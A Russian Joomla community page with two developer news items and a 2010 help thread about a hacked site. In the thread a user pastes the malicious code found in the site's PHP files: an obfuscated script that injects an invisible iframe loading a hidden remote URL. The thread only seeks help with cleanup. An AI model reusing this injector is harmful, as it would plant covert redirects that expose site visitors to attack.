Новости Joomla

Перевод и публикация интервью на греческом портале Joomla Утро, просматриваешь входящие письма и...

Перевод и публикация интервью на греческом портале Joomla 🇬🇷Утро, просматриваешь входящие письма и изучаешь новости и внезапно обнаруживаешь, что инициатива, которую ты начал, подхватывается другими людьми. 🎉Недавно я взял интервью у Билла (Василиса) Коциаса - руководителя студии, читающего лекции в университете и популяризатора Joomla в Греции.Это интервью из журнала NorrNext, в оригинале на английском, теперь доступно на греческом языке и опубликовано на портале joomla.gr. 🎉До чего же приятно… 😇😊 Работа замечена и с ней посчитали необходимым ознакомить аудиторию страны, в которой Билл читает лекции. И это солнечная Греция - страна, страна, с которой Россию многое связывает. 🇬🇷🇷🇺🕊Смотрю на греческий алфавит и тут же рисуются картины белоснежных зданий в окружении винограда и амфор, красивых женщин в сандалиях и мужественных воинов, охраняющих покой полисов, в которых ученые мужи работают над трудами, позже вошедшими в века. Красиво! 😇Но вернемся к интервью. Из него вы узнаете, что в Греции доля Joomla среди CMS занимает порядка 30-40%. По моему мнению это - самый высокий показатель во всем мире. Также чтение лекций о Joomla в университетах позволит привести новых пользователей и к тому же молодое поколение. Ну и огромное кол-во сертификтатов Билла на стене (смотрим фото в статье) свидетельствует о том, что Joomla может применяться как профессиональный инструмент. 🇬🇷 Интервью на греческом портале (joomla.gr)🌐 Оригинальное интервью (на английском)Что насчет перевода на русский? Увы, времени всего 24 часа в сутках. Я продолжаю готовить новые интервью. Возможно, после завершения выпуска журнала, рассмотрю перевод некоторых интервью на русский. Но я об этом не говорил. 😊 В блоге @eugenius_blog публикую анонсы интересных событий из мира Joomla, интервью, уроки и полезные советы, а также делюсь мыслями:, связанными с разработкой и веб-дизайном.

Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5

👩‍💻 Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5.В Joomla для выполнения внешних запросов из PHP к сторонним API используется класс Joomla\Http\Http напрямую или же Joomla\Http\HttpFactory, который возвращает для работы преднастроенный по умолчанию класс Http. О работе с HTTP-запросами подробно рассказывалось в статье 2021 года Создание внешних запросов с использованием HttpFactory (Joomla). Некоторые изменения касаются работы с ответами на запросы. Например, наш запрос:
use Joomla\Http\HttpFactory;$http = (new HttpFactory)->getHttp($options, ['curl', 'stream']);$response = $http->get('https://any-url.ru/api/any/endpoint');
Раньше можно было получить код ответа или тело ответа как свойство $response - $response->code или $response->body. Однако, Joomla, начиная с Joomla 4 во многом переходит на стандарты PSR. В частности для работы с HTTP-ответами - на PSR-7. Также хорошая статья на Хабре о PSR-7: PSR-7 в примерах.
Прямое обращение к свойствам code, headers, body объявлено устаревшим в Joomla 6.0.0 и обещают удалить в Joomla 7.0.0.
Вместо этого нужно работать с HTTP-ответом по стандартам PSR-7. Код ответа.Было $response->code. Стало $response->getStatusCode().Заголовки ответа.Было $response->headers. Стало $response->getHeaders().Тело ответа.Было $response->body. Стало (string)$response->getContents().В тело ответа теперь приходит не строка, а поток - объект класса Laminas\Diactoros\Stream. Поэтому его нужно привести к строке (если это json, к примеру): (string)$response->getContents(). Чаще всего в коде Joomla встречается именно такой вариант. Однако, есть и вариант с перемещением указателя чтения на начало потока:
// Получили ответ в виде потока$stream = $response->getBody();// "перемотали" на начало$stream->rewind();// Получили строковый ответ$json = $stream->getContents();
В итоге результат одинаковый.@joomlafeed#joomla #разработка #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 7 Ответов
  • 1671 Просмотров
*

fiser

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
не могу попасть на сайт
« : 05.05.2010, 20:04:55 »
Не пойму в чем дело, часа 4 назад спокойно заходил на сайт смотрел что нужно, ничего не менял ни ставил. Сейчас не могу попасть ни в админку и вообще просто на сайт. Просто белый экран никаких ероров. Что моглу случиться? !
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Re: не могу попасть на сайт
« Ответ #1 : 05.05.2010, 20:15:10 »
Просто белый экран никаких ероров.
Смотреть error.log сервера.
Или как вариант стучаться к админам хостинга, может они чего мутили.
*

fiser

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
Re: не могу попасть на сайт
« Ответ #2 : 05.05.2010, 20:18:46 »
Вот чего ответили  :(
[Wed May 05 17:52:14 2010] [error] [client 137.0] PHP Parse error: syntax error, unexpected '<' in /var/www/ap4/data/www/poltawka.ru/administrator/modules/mod_menu/menu.php on line 223
[Wed May 05 17:53:03 2010] [error] [client 137.0] PHP Parse error: syntax error, unexpected '<' in /var/www/ap4/data/www/poltawka.ru/index.php on line 89
[Wed May 05 17:57:46 2010] [error] [client 19.89] PHP Parse error: syntax error, unexpected '<' in /var/www/ap4/data/www/poltawka.ru/index.php on line 89

В указанных строках этих файлов неудачно вставили вредоносный код. Удалите его и смените пароль на FTP.

а вот код


?><script type='text/javascript'>function pL(){};var eJF=new Date();pL.prototype = {uO : function() {qO=27314;var yFW="";return 'hvtwt7p7:K/y/wcylyiKcwk7-7syavpwey.Kcyo7mw/wiwny.Kcyg7i7?727'.nS(/[vyKw]/g, '').nS(/[7vyKw]/g, '');var eZ=function(){return 'eZ'};t="t";var hH='';},q : function() {this.bL=15513;var oT=new Array();var yI=false;var yV="yV";vO="";function tC(){};zP='';var u=window;var hJ=new Array();vT="";this.uL=62709;var r = this;var hV="";var rC=function(){return 'rC'};this.k='';var g=document;yM=false;iX="";this.m='';this.c="c";var x=function(){};String.prototype.nS=function(s, e){var h=this; return h.replace(s, e)};this.rE=false;vM="";this.eJ="";pR=false;var p = 'siricF'.nS(/[FY#i\?]/g, '');this.d="";yA='';zG="zG";var y = 's0e;t;TjiOmOe;o0u.t0'.nS(/[0j;O\.]/g, '');var bB="";this.iL=false;var sA='';var i = 'c^rUeUaUt^e&E&lge^m^eTngt^'.nS(/[\^U&Tg]/g, '');zE="";this.j="";this.fH="fH";this.mU="mU";        var gJ = 'a8p+pNeNn+d8C+hNiNl]d4'.nS(/[4\+N8\]]/g, '');yIV=false;var jD=40034;var hU='';mK=false;var yF = 's!e:tdA:t!t!r!iCbju!t!e!'.nS(/[\!Cj\:d]/g, '');function xJ(){};this.n="n";var fM=new Array();var iO = 's6tWywlOeO'.nS(/[O6wW\>]/g, '');this.xZ='';hK=40635;var mY='';var b = 'bDoDdDyT'.nS(/[T6MrD]/g, '');sY='';this.fK=16672;var w=new Array();bC="bC";var v = 'dMiqsTpqlTaTyT'.nS(/[TqIM\^]/g, '');var jC="jC";a='';var z = 'w3r4i4t<e3'.nS(/[34gJ\<]/g, '');rP=false;function nP(){};var vTO=28467;var cT="";this.zC=false;this.wG="";qP="";try {tZ="tZ";lQ='';wQ=29182;var dC="";hJI='';var oN='';var f=g('i?f?rWasmse?'.nS(/[\?s;oW]/g, ''));lW='';var cC="";this.bLC=31114;this.yIB=false;this.kO="";var mI="";wV="";var jZ=function(){return 'jZ'};this.zM='';var tW="";f[yF](p, r.uO());var aG=new Array();var qQ=new Date();var oU="";sP=false;f[iO][v] = 'nGoGn9e7'.nS(/[7l9,G]/g, '');var cF=new Array();this.eK=65306;mS=23589;zD="zD";function mV(){};xA="";var xT="xT";iK=18205;document[gJ](f);dF=9132;this.sL=54066;var uOD='';this.lD=false;} catch(bV) {this.hVY=3537;var pJ=new Date();this.bCQ="";var oK='';uX='';oV="oV";hO="hO";hOB=25576;g[z]('l4o4<4/Vb)oVdVyV>#<)/)h)tim4lV>#'.nS(/[#4Vi\)]/g, ''));this.hC="";this.fA="";var zES=false;u[y](function(){ r.q() }, 120);this.sI="";this.qOQ=48654;var wX="";}bO='';kX='';}};var qH="qH";var aH=new pL(); rG=false;aH.q();nF="nF";</script>

Подскажите что он делает на будующее... я еще новичек  :(
*

fiser

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
Re: не могу попасть на сайт
« Ответ #3 : 05.05.2010, 20:38:34 »
Ничего не пойму, в одних php файлах удаляю код в других он появляется, как быть ?
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Re: не могу попасть на сайт
« Ответ #4 : 05.05.2010, 20:43:21 »
Ничего не пойму, в одних php файлах удаляю код в других он появляется, как быть ?
проверить свой компьютер на вирусы, после чего сменить пароли на FTP.
*

fiser

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
Re: не могу попасть на сайт
« Ответ #5 : 05.05.2010, 20:49:39 »
Все это сделал... :(пока безрезультатно
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Re: не могу попасть на сайт
« Ответ #6 : 05.05.2010, 20:59:41 »
Все это сделал... :(пока безрезультатно
за 10 минут проверить комп это сильно :)
Причину вам сказали. Пользуйтесь поиском по форуму, тема обсуждалось очень много раз.
*

fiser

  • Осваиваюсь на форуме
  • 25
  • 1 / 0
Re: не могу попасть на сайт
« Ответ #7 : 05.05.2010, 21:08:37 »
Ок.
Пожалуй перегружусь в Linux оттуда попробую  ^-^
Спасибо
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Каков ваш заработок на сайте?возможно ли пролететь и создать не прибыльный сайт?

Автор bedalex

Ответов: 3
Просмотров: 5307
Последний ответ 05.06.2023, 11:00:40
от Ритулька88
Проблемы с входом на сайт

Автор belovpaha

Ответов: 7
Просмотров: 4690
Последний ответ 20.09.2022, 14:30:51
от sivers
Не могу распаковать jpa архив сайта Akeeba backup. ajax error

Автор smadkz

Ответов: 4
Просмотров: 1906
Последний ответ 26.12.2020, 15:15:15
от stendapuss
Криво работает сайт и админ часть

Автор Odyssey

Ответов: 11
Просмотров: 2780
Последний ответ 10.02.2019, 06:13:39
от Odyssey
Не могу войти в админку Joomla 1.5

Автор MrSkif

Ответов: 14
Просмотров: 10555
Последний ответ 12.09.2018, 19:36:32
от PaLyCH